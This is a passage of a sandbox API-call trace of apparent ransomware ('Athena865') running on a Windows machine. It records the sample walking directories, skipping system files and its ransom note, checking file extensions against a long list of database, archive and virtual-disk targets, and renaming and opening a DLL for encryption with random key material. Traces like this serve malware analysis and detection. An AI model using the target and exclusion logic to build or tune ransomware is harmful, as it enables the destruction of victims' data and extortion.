lpName=0x0) returned 0x17c [0042.204] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23b00) returned 0x170000 [0042.217] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.218] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.218] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.218] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0042.220] CloseHandle (hObject=0x17c) returned 1 [0042.220] CloseHandle (hObject=0x154) returned 1 [0042.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.223] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="windows") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="bootmgr") returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="temp") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="pagefile.sys") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="boot") returned 1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ids.txt") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ntuser.dat") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="perflogs") returned -1 [0042.223] lstrcmpiW (lpString1="hmmapi.dll", lpString2="MSBuild") returned -1 [0042.223] lstrlenW (lpString="hmmapi.dll") returned 10 [0042.223] lstrcpyW (in: lpString1=0x241e89a, lpString2="hmmapi.dll" | out: lpString1="hmmapi.dll") returned="hmmapi.dll" [0042.223] lstrlenW (lpString="hmmapi.dll") returned 10 [0042.223] lstrlenW (lpString="Athena865") returned 9 [0042.224] lstrcmpiW (lpString1="mmapi.dll", lpString2="Athena865") returned 1 [0042.224] lstrlenW (lpString=".dll") returned 4 [0042.224] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".dll") returned 1 [0042.224] lstrlenW (lpString=".lnk") returned 4 [0042.224] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".lnk") returned 1 [0042.224] lstrlenW (lpString=".ini") returned 4 [0042.224] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".ini") returned 1 [0042.224] lstrlenW (lpString=".sys") returned 4 [0042.224] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".sys") returned 1 [0042.224] lstrlenW (lpString="hmmapi.dll") returned 10 [0042.224] lstrlenW (lpString="bak") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.224] lstrlenW (lpString="ba_") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.224] lstrlenW (lpString="dbb") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.224] lstrlenW (lpString="vmdk") returned 4 [0042.224] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.224] lstrlenW (lpString="rar") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.224] lstrlenW (lpString="zip") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.224] lstrlenW (lpString="tgz") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.224] lstrlenW (lpString="vbox") returned 4 [0042.224] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.224] lstrlenW (lpString="vdi") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.224] lstrlenW (lpString="vhd") returned 3 [0042.224] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.224] lstrlenW (lpString="vhdx") returned 4 [0042.224] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.224] lstrlenW (lpString="avhd") returned 4 [0042.224] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.224] lstrlenW (lpString="db") returned 2 [0042.224] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.224] lstrlenW (lpString="db2") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.225] lstrlenW (lpString="db3") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.225] lstrlenW (lpString="dbf") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.225] lstrlenW (lpString="mdf") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.225] lstrlenW (lpString="mdb") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.225] lstrlenW (lpString="sql") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.225] lstrlenW (lpString="sqlite") returned 6 [0042.225] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0042.225] lstrlenW (lpString="sqlite3") returned 7 [0042.225] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0042.225] lstrlenW (lpString="sqlitedb") returned 8 [0042.225] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0042.225] lstrlenW (lpString="xml") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.225] lstrlenW (lpString="$er") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.225] lstrlenW (lpString="4dd") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.225] lstrlenW (lpString="4dl") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.225] lstrlenW (lpString="^^^") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.225] lstrlenW (lpString="abs") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.225] lstrlenW (lpString="abx") returned 3 [0042.225] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.225] lstrlenW (lpString="accdb") returned 5 [0042.225] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0042.225] lstrlenW (lpString="accdc") returned 5 [0042.225] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0042.225] lstrlenW (lpString="accde") returned 5 [0042.225] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0042.226] lstrlenW (lpString="accdr") returned 5 [0042.226] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0042.226] lstrlenW (lpString="accdt") returned 5 [0042.226] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0042.226] lstrlenW (lpString="accdw") returned 5 [0042.226] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0042.226] lstrlenW (lpString="accft") returned 5 [0042.226] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0042.226] lstrlenW (lpString="adb") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.226] lstrlenW (lpString="adb") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.226] lstrlenW (lpString="ade") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.226] lstrlenW (lpString="adf") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.226] lstrlenW (lpString="adn") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.226] lstrlenW (lpString="adp") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.226] lstrlenW (lpString="alf") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.226] lstrlenW (lpString="ask") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.226] lstrlenW (lpString="btr") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.226] lstrlenW (lpString="cat") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.226] lstrlenW (lpString="cdb") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.226] lstrlenW (lpString="ckp") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.226] lstrlenW (lpString="cma") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.226] lstrlenW (lpString="cpd") returned 3 [0042.226] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.226] lstrlenW (lpString="dacpac") returned 6 [0042.227] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0042.227] lstrlenW (lpString="dad") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.227] lstrlenW (lpString="dadiagrams") returned 10 [0042.227] lstrlenW (lpString="daschema") returned 8 [0042.227] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0042.227] lstrlenW (lpString="db-journal") returned 10 [0042.227] lstrlenW (lpString="db-shm") returned 6 [0042.227] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0042.227] lstrlenW (lpString="db-wal") returned 6 [0042.227] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0042.227] lstrlenW (lpString="dbc") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.227] lstrlenW (lpString="dbs") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.227] lstrlenW (lpString="dbt") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.227] lstrlenW (lpString="dbv") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.227] lstrlenW (lpString="dbx") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.227] lstrlenW (lpString="dcb") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.227] lstrlenW (lpString="dct") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.227] lstrlenW (lpString="dcx") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.227] lstrlenW (lpString="ddl") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.227] lstrlenW (lpString="dlis") returned 4 [0042.227] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.227] lstrlenW (lpString="dp1") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.227] lstrlenW (lpString="dqy") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.227] lstrlenW (lpString="dsk") returned 3 [0042.227] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.228] lstrlenW (lpString="dsn") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.228] lstrlenW (lpString="dtsx") returned 4 [0042.228] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.228] lstrlenW (lpString="dxl") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.228] lstrlenW (lpString="eco") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.228] lstrlenW (lpString="ecx") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.228] lstrlenW (lpString="edb") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.228] lstrlenW (lpString="epim") returned 4 [0042.228] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.228] lstrlenW (lpString="fcd") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.228] lstrlenW (lpString="fdb") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.228] lstrlenW (lpString="fic") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.228] lstrlenW (lpString="flexolibrary") returned 12 [0042.228] lstrlenW (lpString="fm5") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.228] lstrlenW (lpString="fmp") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.228] lstrlenW (lpString="fmp12") returned 5 [0042.228] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0042.228] lstrlenW (lpString="fmpsl") returned 5 [0042.228] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0042.228] lstrlenW (lpString="fol") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.228] lstrlenW (lpString="fp3") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.228] lstrlenW (lpString="fp4") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.228] lstrlenW (lpString="fp5") returned 3 [0042.228] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.229] lstrlenW (lpString="fp7") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.229] lstrlenW (lpString="fpt") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.229] lstrlenW (lpString="frm") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.229] lstrlenW (lpString="gdb") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.229] lstrlenW (lpString="gdb") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.229] lstrlenW (lpString="grdb") returned 4 [0042.229] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.229] lstrlenW (lpString="gwi") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.229] lstrlenW (lpString="hdb") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.229] lstrlenW (lpString="his") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.229] lstrlenW (lpString="ib") returned 2 [0042.229] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.229] lstrlenW (lpString="idb") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.229] lstrlenW (lpString="ihx") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.229] lstrlenW (lpString="itdb") returned 4 [0042.229] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.229] lstrlenW (lpString="itw") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.229] lstrlenW (lpString="jet") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.229] lstrlenW (lpString="jtx") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.229] lstrlenW (lpString="kdb") returned 3 [0042.229] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.229] lstrlenW (lpString="kexi") returned 4 [0042.229] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.229] lstrlenW (lpString="kexic") returned 5 [0042.229] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0042.229] lstrlenW (lpString="kexis") returned 5 [0042.230] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0042.230] lstrlenW (lpString="lgc") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.230] lstrlenW (lpString="lwx") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.230] lstrlenW (lpString="maf") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.230] lstrlenW (lpString="maq") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.230] lstrlenW (lpString="mar") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.230] lstrlenW (lpString="marshal") returned 7 [0042.230] lstrcmpiW (lpString1="api.dll", lpString2="marshal") returned -1 [0042.230] lstrlenW (lpString="mas") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.230] lstrlenW (lpString="mav") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.230] lstrlenW (lpString="maw") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.230] lstrlenW (lpString="mdbhtml") returned 7 [0042.230] lstrcmpiW (lpString1="api.dll", lpString2="mdbhtml") returned -1 [0042.230] lstrlenW (lpString="mdn") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.230] lstrlenW (lpString="mdt") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.230] lstrlenW (lpString="mfd") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.230] lstrlenW (lpString="mpd") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.230] lstrlenW (lpString="mrg") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.230] lstrlenW (lpString="mud") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.230] lstrlenW (lpString="mwb") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.230] lstrlenW (lpString="myd") returned 3 [0042.230] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.231] lstrlenW (lpString="ndf") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.231] lstrlenW (lpString="nnt") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.231] lstrlenW (lpString="nrmlib") returned 6 [0042.231] lstrcmpiW (lpString1="pi.dll", lpString2="nrmlib") returned 1 [0042.231] lstrlenW (lpString="ns2") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.231] lstrlenW (lpString="ns3") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.231] lstrlenW (lpString="ns4") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.231] lstrlenW (lpString="nsf") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.231] lstrlenW (lpString="nv") returned 2 [0042.231] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.231] lstrlenW (lpString="nv2") returned 3 [0042.231] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.234] lstrlenW (lpString="nwdb") returned 4 [0042.234] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.234] lstrlenW (lpString="nyf") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.234] lstrlenW (lpString="odb") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.234] lstrlenW (lpString="odb") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.234] lstrlenW (lpString="oqy") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.234] lstrlenW (lpString="ora") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.234] lstrlenW (lpString="orx") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.234] lstrlenW (lpString="owc") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.234] lstrlenW (lpString="p96") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.234] lstrlenW (lpString="p97") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.234] lstrlenW (lpString="pan") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.234] lstrlenW (lpString="pdb") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.234] lstrlenW (lpString="pdm") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.234] lstrlenW (lpString="pnz") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.234] lstrlenW (lpString="qry") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.234] lstrlenW (lpString="qvd") returned 3 [0042.234] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.234] lstrlenW (lpString="rbf") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.235] lstrlenW (lpString="rctd") returned 4 [0042.235] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.235] lstrlenW (lpString="rod") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.235] lstrlenW (lpString="rodx") returned 4 [0042.235] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.235] lstrlenW (lpString="rpd") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.235] lstrlenW (lpString="rsd") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.235] lstrlenW (lpString="sas7bdat") returned 8 [0042.235] lstrcmpiW (lpString1="mapi.dll", lpString2="sas7bdat") returned -1 [0042.235] lstrlenW (lpString="sbf") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.235] lstrlenW (lpString="scx") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.235] lstrlenW (lpString="sdb") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.235] lstrlenW (lpString="sdc") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.235] lstrlenW (lpString="sdf") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.235] lstrlenW (lpString="sis") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.235] lstrlenW (lpString="spq") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.235] lstrlenW (lpString="te") returned 2 [0042.235] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.235] lstrlenW (lpString="teacher") returned 7 [0042.235] lstrcmpiW (lpString1="api.dll", lpString2="teacher") returned -1 [0042.235] lstrlenW (lpString="tmd") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.235] lstrlenW (lpString="tps") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.235] lstrlenW (lpString="trc") returned 3 [0042.235] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.236] lstrlenW (lpString="trc") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.236] lstrlenW (lpString="trm") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.236] lstrlenW (lpString="udb") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.236] lstrlenW (lpString="udl") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.236] lstrlenW (lpString="usr") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.236] lstrlenW (lpString="v12") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.236] lstrlenW (lpString="vis") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.236] lstrlenW (lpString="vpd") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.236] lstrlenW (lpString="vvv") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.236] lstrlenW (lpString="wdb") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.236] lstrlenW (lpString="wmdb") returned 4 [0042.236] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.236] lstrlenW (lpString="wrk") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.236] lstrlenW (lpString="xdb") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.236] lstrlenW (lpString="xld") returned 3 [0042.236] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.236] lstrlenW (lpString="xmlff") returned 5 [0042.236] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0042.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll.Athena865") returned 61 [0042.236] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\hmmapi.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\hmmapi.dll.athena865"), dwFlags=0x1) returned 1 [0042.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\hmmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.237] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50688) returned 1 [0042.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.238] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 